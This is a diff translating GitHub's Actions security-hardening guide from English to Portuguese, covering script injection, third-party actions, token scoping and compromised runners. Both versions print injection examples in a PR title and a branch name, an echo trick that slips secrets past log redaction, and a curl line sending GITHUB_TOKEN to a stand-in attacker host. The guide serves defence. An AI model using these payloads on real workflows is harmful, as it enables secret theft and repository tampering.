+    - Você pode usar revisores necessários para proteger os segredos do ambiente. Um trabalho de fluxo de trabalho não pode acessar segredos de ambiente até que a aprovação seja concedida por um revisor. Para mais informações sobre armazenar segredos em ambientes ou exigir revisões para ambientes, consulte "[segredos criptografados](/actions/reference/encrypted-secrets)" e "[Usando ambientes para implantação](/actions/deployment/using-environments-for-deployment)".
 {% endif %}
 
-## Using `CODEOWNERS` to monitor changes
+## Usar `CODEOWNERS` para monitorar alterações
 
-You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.
+Você pode usar o recurso `CODEOWNERS` para controlar como são feitas alterações nos seus arquivos de fluxo de trabalho. Por exemplo, se todos os arquivos de fluxo de trabalho forem armazenados em `.github/workflows`, você pode adicionar este diretório à lista de proprietários do código para que quaisquer alterações propostas nestes arquivos exijam primeiro a aprovação de um revisor designado.
 
-For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
+Para obter mais informações, consulte "[Sobre proprietários do código](/github/creating-cloning-and-archiving-repositories/about-code-owners)".
 
-## Understanding the risk of script injections
+## Entendendo o risco de injeções de script
 
-When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.
+Ao criar fluxos de trabalho, [ações personalizadas](/actions/creating-actions/about-actions)e [ações compostas](/actions/creating-actions/creating-a-composite-action), você deverá sempre considerar se seu código pode executar entrada não confiável de invasores. Isso pode ocorrer quando um invasor adiciona comandos maliciosos e scripts em um contexto. Quando seu fluxo de trabalho é executado, essas strings podem ser interpretadas como código que é executado no executado.
 
- Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`.  For example: `github.event.issue.title`, or `github.event.pull_request.body`. 
- 
- You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
+ Os invasores podem adicionar seu próprio conteúdo malicioso ao contexto do [`github`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), que deve ser tratado como uma entrada potencialmente não confiável. Geralmente, esses contextos terminam com `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref` e `title`.  Por exemplo: `github.event.issue.title` ou `github.event.pull_request.body`.
 
-In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository.
+ Você deve garantir que esses valores não fluam diretamente para fluxos de trabalho, ações, chamadas de API ou para qualquer outro lugar onde possam ser interpretados como código executável. Ao adotar a mesma postura defensiva de programação que você adotaria para qualquer outro código privilegiado do aplicativo, você pode ajudar a melhorar a segurança do seu uso de {% data variables.product.prodname_actions %}. Para informações sobre alguns dos passos que um invasor poderia dar, consulte ["Potencial impacto de um executor comprometido](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)".
 
-The following sections explain how you can help mitigate the risk of script injection.
+Além disso, há outras fontes menos óbvias de entrada potencialmente não confiável como, por exemplo, nomes de branches e endereços de e-mail, que podem ser bastante flexíveis em termos de conteúdo permitido. Por exemplo, `zzz";echo${IFS}"hello";#` seria um nome de branch válido e seria um possível vetor de ataque para um repositório de destino.
 
-### Example of a script injection attack
+As seções a seguir explicam como você pode ajudar a mitigar o risco de injeção de scripts.
 
-A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:
+### Exemplo de um ataque de injeção de script
+
+Um ataque de injeção de script pode ocorrer diretamente dentro do script embutido de um fluxo de trabalho. No exemplo a seguir, uma ação usa uma expressão para testar a validade de um título de pull request mas também adiciona o risco de injeção de script:
 
 {% raw %}
 ```
@@ -87,23 +87,23 @@ A script injection attack can occur directly within a workflow's inline script.
 ```
 {% endraw %}
 
-This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. 
+Este exemplo é vulnerável à injeção do script porque o comando `executar` é executado dentro de um script shell temporário no executor. Antes que o script shell seja executado, as expressões dentro de {% raw %}`${{ }}`{% endraw %} são avaliadas e, em seguida, substituídas pelos valores resultantes, o que pode torná-lo vulnerável à injeção de comando do shell.
 
-To inject commands into this workflow, the attacker could create a pull request with a title of  `a"; ls $GITHUB_WORKSPACE"`:
+Para injetar comandos neste fluxo de trabalho, o invasor pode criar um pull request com título de  `a"; ls $GITHUB_WORKSPACE"`:
 
-![Example of script injection in PR title](/assets/images/help/images/example-script-injection-pr-title.png)
+![Exemplo de injeção de script no título do PR](/assets/images/help/images/example-script-injection-pr-title.png)
 
-In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log:
+Neste exemplo, o caractere `"` é usado para interromper a declaração de {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %}, o que permite que o comando `ls` seja executado no executor. Você pode ver a saída do comando `ls` no registro:
 
-![Example result of script injection](/assets/images/help/images/example-script-injection-result.png)
+![Exemplo de resultado da injeção de script](/assets/images/help/images/example-script-injection-result.png)
 
-## Good practices for mitigating script injection attacks
+## Práticas recomendadas para mitigar ataques de injeção de script
 
-There are a number of different approaches available to help you mitigate the risk of script injection:
+Há uma série de diferentes abordagens disponíveis para ajudar você a mitigar o risco de injeção de script:
 
-### Using an action instead of an inline script (recommended)
+### Usando uma ação em vez de um script em linha (recomendado)
 
-The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument:
+A abordagem recomendada é criar uma ação que processa o valor do contexto como um argumento. Esta abordagem não é vulnerável ao ataque de injeção, como o valor do contexto não é usado para gerar um script do shell, mas é passado para a ação como um argumento:
 
 {% raw %}
 ```
@@ -113,11 +113,11 @@ with:
 ```
 {% endraw %}
 
-### Using an intermediate environment variable
+### Usando uma variável de ambiente intermediária
 
-For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable.
+Para scripts em linha, a abordagem preferida para manipular entradas não confiáveis é definir o valor da expressão para uma variável de ambiente intermediário.
 
-The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable:
+O exemplo a seguir usa o Bash para processar o valor `github.event.pull_request.title` como uma variável de ambiente:
 
 {% raw %}
 ```
@@ -135,78 +135,78 @@ The following example uses Bash to process the `github.event.pull_request.title`
 ```
 {% endraw %}
 
-In this example, the attempted script injection is unsuccessful:
+Neste exemplo, a injeção de script não tem sucesso:
 
-![Example of mitigated script injection](/assets/images/help/images/example-script-injection-mitigated.png)
+![Exemplo de injeção de script mitigado](/assets/images/help/images/example-script-injection-mitigated.png)
 
-With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}.
+Com esta abordagem, o valor da expressão de {% raw %}`${{ github.event.issue.title }}`{% endraw %} é armazenado na memória e usada como uma variável e não interage com o processo de geração de script. Além disso, considere usar variáveis do shell de citação dupla para evitar [divisão de palavras](https://github.com/koalaman/shellcheck/wiki/SC2086), mas esta é [uma das muitas](https://mywiki.wooledge.org/BashPitfalls) recomendações gerais para escrever scripts de shell e não é específica para {% data variables.product.prodname_actions %}.
 
-### Using CodeQL to analyze your code
+### Usar o CodeQL para analisar seu código
 
-To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
+Para ajudar você a gerenciar o risco de padrões perigosos o mais cedo possível no ciclo de vida do desenvolvimento, o Laboratório de Segurança de {% data variables.product.prodname_dotcom %} desenvolveu [as consultas do CodeQL](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) que os proprietários de repositórios podem [integrar](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) a seus pipelines CI/CD. Para obter mais informações, consulte "[Sobre a varredura de código](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)".
 
-The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be [configured to analyze this language](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed).
+Atualmente, os scripts atualmente das bibliotecas JavaScript do CodeQL, o que significa que o repositório analisado deve conter pelo menos um arquivo JavaScript e que o CodeQL deve ser [configurado para analisar esta linguagem](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed).
 
-- `ExpressionInjection.ql`: Covers the expression injections described in this article, and is considered to be reasonably accurate. However, it doesn’t perform data flow tracking between workflow steps.
-- `UntrustedCheckout.ql`: This script's results require manual review to determine whether the code from a pull request is actually treated in an unsafe manner. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)"  on the {% data variables.product.prodname_dotcom %} Security Lab blog.
+- `ExpressionInjection.ql`: Cobre as injeções de expressão descritas neste artigo e é considerada razoavelmente precisa. No entanto, ele não executa o rastreamento de dados entre as etapas do fluxo de trabalho.
+- `UntrustedCheckout. l`: Os resultados deste script exigem revisão manual para determinar se o código de um pull request é realmente tratado de forma não segura. Para obter mais informações, consulte "[Manter o seu GitHub Actions e fluxos de trabalho seguro: impedindo solicitações pwn](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" no blogue {% data variables.product.prodname_dotcom %} do Laboratório de Segurança.
 
-### Restricting permissions for tokens
+### Restringir permissões para tokens
 
-To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)."
+Para ajudar a mitigar o risco de um token exposto, considere restringir as permissões atribuídas. Para obter mais informações, consulte "[Modificar as permissões para o GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)".
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
-## Using OpenID Connect to access cloud resources
+## Usando o OpenID Connect para acessar os recursos da nuvem
 
 {% data reusables.actions.about-oidc-short-overview %}
 
 {% endif %}
 
-## Using third-party actions
+## Usando ações de terceiros
 
-The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them.
+Os trabalhos individuais em fluxo de trabalho podem interagir com (e comprometer) outros trabalhos. Por exemplo, um trabalho que consulta as variáveis de ambiente usadas por um trabalho posterior, que escreve arquivos para um diretório compartilhado que um trabalho posterior processa, ou ainda mais diretamente, que interage com o conector do Docker e inspeciona outros contêineres em execução e executa comandos neles.
 
-This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
+Isso significa que comprometer uma única ação dentro de um fluxo de trabalho pode ser muito significativo, uma vez que essa ação comprometida teria acesso a todos os segredos configurados no seu repositório e pode usar o `GITHUB_TOKEN` para gravar no repositório. Consequentemente, há um risco significativo em fornecer de ações de repositórios de terceiros no {% data variables.product.prodname_dotcom %}. Para informações sobre alguns dos passos que um invasor poderia dar, consulte ["Potencial impacto de um executor comprometido](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)".
 
-You can help mitigate this risk by following these good practices:
+Você pode ajudar a mitigar esse risco seguindo estas boas práticas:
 
-* **Pin actions to a full length commit SHA**
+* **Fixe as ações para um commit SHA de comprimento completo**
 
-  Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload.
+  Fixar uma ação para um commit SHA de comprimento completo é, atualmente, a única maneira de usar uma ação como uma versão imutável. Fixar um SHA em particular ajuda a mitigar o risco de um ator malicioso adicionar uma porta traseira ao repositório da ação, porque precisariam gerar uma colisão de SHA-1 para uma carga válida do objeto de Git.
 
   {% ifversion ghes < 3.1 %}
   {% warning %}
 
-  **Warning:** The short version of the commit SHA is insecure and should never be used for specifying an action's Git reference. Because of how repository networks work, any user can fork the repository and push a crafted commit to it that collides with the short SHA. This causes subsequent clones at that SHA to fail because it becomes an ambiguous commit. As a result, any workflows that use the shortened SHA will immediately fail.
+  **Aviso:** A versão curta do commit SHA é insegura e nunca deve ser usada para especificar a referência do Git de uma ação. Devido ao modo como funcionam as redes de repositório, qualquer usuário pode bifurcar o repositório e fazer push de um commit criado que colida com o SHA curto. Isso faz com que os clones subsequentes falhem nesse SHA, pois se converte em um commit ambíguo. Como resultado, todos os fluxos de trabalho que usam o SHA encurtado falharão imediatamente.
 
   {% endwarning %}
   {% endif %}
 
-* **Audit the source code of the action**
+* **Audite o código-fonte da ação**
 
-  Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged.
+  Certifique-se de que a ação está tratando o conteúdo do seu repositório e os segredos, como esperado. Por exemplo, verifique se os segredos não são enviados para os hosts não intencionais, ou se não são registrados inadvertidamente.
 
-* **Pin actions to a tag only if you trust the creator**
+* **Fixe ações em uma etiqueta apenas se confiar no criador**
 
-  Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action.
+  Embora a fixação de um commit de SHA seja a opção mais segura, especificar uma etiqueta é a opção mais conveniente, além de ser amplamente usada. Se você desejar de especificar uma etiqueta, certifique-se de que você confia nos criadores da ação. O selo "Criador verificado" em {% data variables.product.prodname_marketplace %} é um sinal útil, já que indica que a ação foi escrita por uma equipe cuja identidade foi verificada por {% data variables.product.prodname_dotcom %}. Observe que há risco para esta abordagem, mesmo que você confie no autor, porque uma etiqueta pode ser movida ou excluída se um ator malicioso obtiver acesso ao repositório que armazena a ação.
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
-## Reusing third-party workflows
+## Reutilizando fluxos de trabalho de terceiros
 
-The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." 
+Os mesmos princípios descritos acima para o uso de ações de terceiros também se aplicam ao uso de fluxos de trabalho de terceiros. Você pode ajudar a mitigar os riscos associados à reutilização de fluxos de trabalho, seguindo as mesmas práticas recomendadas descritas acima. Para obter mais informações, consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)".
 {% endif %}
 
-## Potential impact of a compromised runner
+## Possível impacto de um executor comprometido
 
-These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. 
+Essas seções consideram alguns das etapas que um invasor pode dar se for capaz de executar comandos maliciosos em um executor de {% data variables.product.prodname_actions %}.
 
-### Accessing secrets
+### Acessar segredos
 
-Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). 
+Os fluxos de trabalho acionados usando o evento `pull_request` têm permissões somente de leitura e não tem acesso a segredos. No entanto, essas permissões diferem para vários gatilhos de eventos, como `issue_comment`, `issues` e `push`, em que o atacante pode tentar roubar segredos do repositório ou usar a permissão de gravação do trabalho [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token).
 
-- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`.
-- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
-- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:
+- Se o segredo ou token for definido como uma variável de ambiente, ele poderá ser acessado diretamente por meio do ambiente usando o `printenv`.
+- Se o segredo for usado diretamente em uma expressão, o script do shell gerado é armazenado em disco e é acessível.
+- Para uma ação personalizada, o risco pode variar dependendo de como um programa está usando o segredo que obteve do argumento:
 
   {% raw %}
   ```
@@ -216,153 +216,151 @@ Workflows triggered using the `pull_request` event have read-only permissions an
   ```
   {% endraw %}
 
-Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker.
+Embora {% data variables.product.prodname_actions %} limpe os segredos da memória que não estão referenciados no fluxo de trabalho (ou uma ação incluída), o `GITHUB_TOKEN` e todos os segredos referenciados podem ser colhidos por um determinado invasor.
 
-### Exfiltrating data from a runner
+### Exfiltrar dados de um executor
 
-An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.
+Um invasor pode exfiltrar todos os segredos roubados ou outros dados do executor. Para ajudar a evitar a divulgação acidental de segredos, {% data variables.product.prodname_actions %} [removeu automaticamente segredos editados impressos no registro](/actions/reference/encrypted-secrets#accessing-your-secrets), mas esta não é uma verdadeira fronteira de segurança, porque os segredos podem ser enviados intencionalmente para o registro. Por exemplo, segredos ofuscados podem ser exfiltrados usando `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. Além disso, uma vez que o atacante pode executar comandos arbitrários, ele poderá usar solicitações HTTP para enviar segredos ou outros dados do repositório para um servidor externo.
 
-### Stealing the job's `GITHUB_TOKEN`
+### Roubar o trabalho do `GITHUB_TOKEN`
 
-It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`.
+É possível para um invasor roubar o `GITHUB_TOKEN` de um trabalho. O executor de {% data variables.product.prodname_actions %} recebe automaticamente um `GITHUB_TOKEN` gerado com permissões limitadas apenas ao repositório que contém o fluxo de trabalho, e o token expira após a conclusão do trabalho. Uma vez expirado, o token não é mais útil para um invasor. Para contornar essa limitação, eles podem automatizar o ataque e executá-lo em frações de segundo chamando um servidor controlado pelo invasor com o token, por exemplo: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`.
 
-### Modifying the contents of a repository
+### Modificando os conteúdos de um repositório
 
-The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token).
+O servidor invasor pode usar A API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} para [modificar o conteúdo do repositório](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), incluindo versões, se as permissões atribuídas de `GITHUB_TOKEN` [não forem restritas](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token).
 
-## Considering cross-repository access
+## Considerar acesso entre repositórios
 
-{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators.
+O {% data variables.product.prodname_actions %} tem um escopo intencional para um único repositório por vez. O `GITHUB_TOKEN` concede o mesmo nível de acesso que um usuário com acesso de gravação, porque qualquer usuário com acesso de gravação pode acessar esse token criando ou modificando um arquivo de fluxo de trabalho{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, elevando as permissões do `GITHUB_TOKEN` se necessário{% endif %}. Usuários têm permissões específicas para cada repositório. Portanto, permitir que o `GITHUB_TOKEN` de um repositório conceda acesso a outro teria impacto no modelo de permissão de {% data variables.product.prodname_dotcom %} se não fosse implementado cuidadosamente. Da mesma forma, deve-se ter cuidado ao adicionar tokens de autenticação de {% data variables.product.prodname_dotcom %} a um fluxo de trabalho, porque isto também pode afetar o modelo de permissão de {% data variables.product.prodname_dotcom %} concedendo inadvertidamente amplo acesso aos colaboradores.
 
-We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended.
+Temos [ um plano no roteiro de {% data variables.product.prodname_dotcom %}](https://github.com/github/roadmap/issues/74) para suportar um fluxo que permite o acesso de todos os repositórios em {% data variables.product.product_name %}, embora ainda não seja um recurso compatível. Atualmente, a única maneira de executar interações privilegiadas entre repositórios é colocar um token de autenticação do {% data variables.product.prodname_dotcom %} ou chave SSH como um segredo dentro do fluxo de trabalho. Uma vez que muitos tipos de token de autenticação não permitem acesso granular a recursos específicos, há um risco significativo no uso do tipo incorreto de token, pois ele pode conceder acesso muito mais amplo do que o pretendido.
 
-This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference:
+Esta lista descreve as abordagens recomendadas para acessar os dados do repositório dentro de um fluxo de trabalho, em ordem decrescente de preferência:
 
-1. **The `GITHUB_TOKEN`**
-    -  This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
-    - The `GITHUB_TOKEN` should be used whenever possible.
-2. **Repository deploy key**
-    - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)."
-    - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements.
-3. **{% data variables.product.prodname_github_app %} tokens**
-    - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories.
-4. **Personal access tokens**
-    - You should never use personal access tokens from your own account. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your user account. This indirectly grants broad access to all write-access users of the repository the workflow is in. In addition, if you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging.
-    - If a personal access token is used, it should be one that was generated for a new account that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys.
-5. **SSH keys on a user account**
-    - Workflows should never use the SSH keys on a user account. Similar to personal access tokens, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership.  This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead.
+1. **O `GITHUB_TOKEN`**
+    -  Este token recebe intencionalmente o escopo para o único repositório que invocou o fluxo de trabalho, e {% ifversion fpt or ghes > 3.1 or ghae or ghec %}pode ter {% else %}tem {% endif %}o mesmo nível de acesso que um usuário de acesso de gravação no repositório. O token é criado antes de cada trabalho começar e expira quando o trabalho é finalizado. Para obter mais informações, consulte "[Autenticação com o GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)".
+    - O `GITHUB_TOKEN` deve ser usado sempre que possível.
+2. **Chave de implantação do repositório**
+    - Chaves de implantação são um dos únicos tipos de credenciais que concedem acesso de leitura ou gravação a um único repositório, e podem ser usadas para interagir com outro repositório dentro de um fluxo de trabalho. Para obter mais informações, consulte "[Gerenciar chaves de implantação](/developers/overview/managing-deploy-keys#deploy-keys)".
+    - Observe que as chaves de implantação só podem clonar e fazer push para o repositório usando o Git, e não podem ser usada para interagir com a API REST ou o GraphQL. Portanto, elas podem não ser apropriadas para os suas necessidades.
+3. **Tokens de {% data variables.product.prodname_github_app %}**
+    - {% data variables.product.prodname_github_apps %} podem ser instalados em repositórios selecionados e até mesmo ter permissões granulares nos recursos dentro deles. É possível criar um {% data variables.product.prodname_github_app %} interno na sua organização, instalá-lo nos repositórios os quais você precisa acessar dentro do seu fluxo de trabalho, e autenticar como instalação dentro de seu fluxo de trabalho para acessar esses repositórios.
+4. **Tokens de acesso pessoal**
+    - Você nunca deve usar tokens de acesso pessoais da sua própria conta. Esses tokens concedem acesso a todos os repositórios nas organizações às quais você tem acesso, bem como a todos os repositórios pessoais na sua conta de usuário. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho. Além disso, se você deixar uma organização mais adiante, os fluxos de trabalho que usam este token falharão imediatamente e a depuração deste problema pode ser difícil.
+    - Se um token de acesso pessoal for usado, ele deverá ser gerado para uma nova conta que só tenha acesso aos repositórios específicos necessários para o fluxo de trabalho. Observe que esta abordagem não é escalável e deve ser evitada em detrimento de alternativas, como as chaves de implantação.
+5. **Chaves SSH em uma conta de usuário**
+    - Os fluxos de trabalho nunca devem usar as chaves SSH em uma conta de usuário. Semelhante aos tokens de acesso pessoais, eles concedem permissões de leitura/gravação a todos os seus repositórios pessoais, bem como a todos os repositórios aos quais você tem acesso por meio da associação à organização.  Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho. Se você pretende usar uma chave SSH porque você só precisa executar clones ou push do repositório, e não precisar interagir com APIs públicas, você deverá usar chaves de implantação individuais.
 
-## Hardening for self-hosted runners
+## Fortalecimento para executores auto-hospedados
 
 {% ifversion fpt %}
-**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process.
+Os executores ** hospedados em {% data variables.product.prodname_dotcom %}** executam o código dentro de máquinas virtuais efêmeras e limpas e isoladas. Isso quer isto dizer que não há maneira de comprometer persistentemente este ambiente ou obter, de outra forma, acesso a mais informações do que foram colocadas neste ambiente durante o processo de inicialização.
 {% endif %}
 
-{% ifversion fpt %}**Self-hosted**{% elsif ghes or ghae %}Self-hosted{% endif %} runners for {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow.
+{% ifversion fpt %}**Auto-hospedados**{% elsif ghes or ghae %}Auto-hospedados{% endif %} executores para {% data variables.product.product_name %} não tem garantias para serem executados em máquinas virtuais efêmeas limpas, e podem ser comprometidos persistentemente por um código não confiável em um fluxo de trabalho.
 
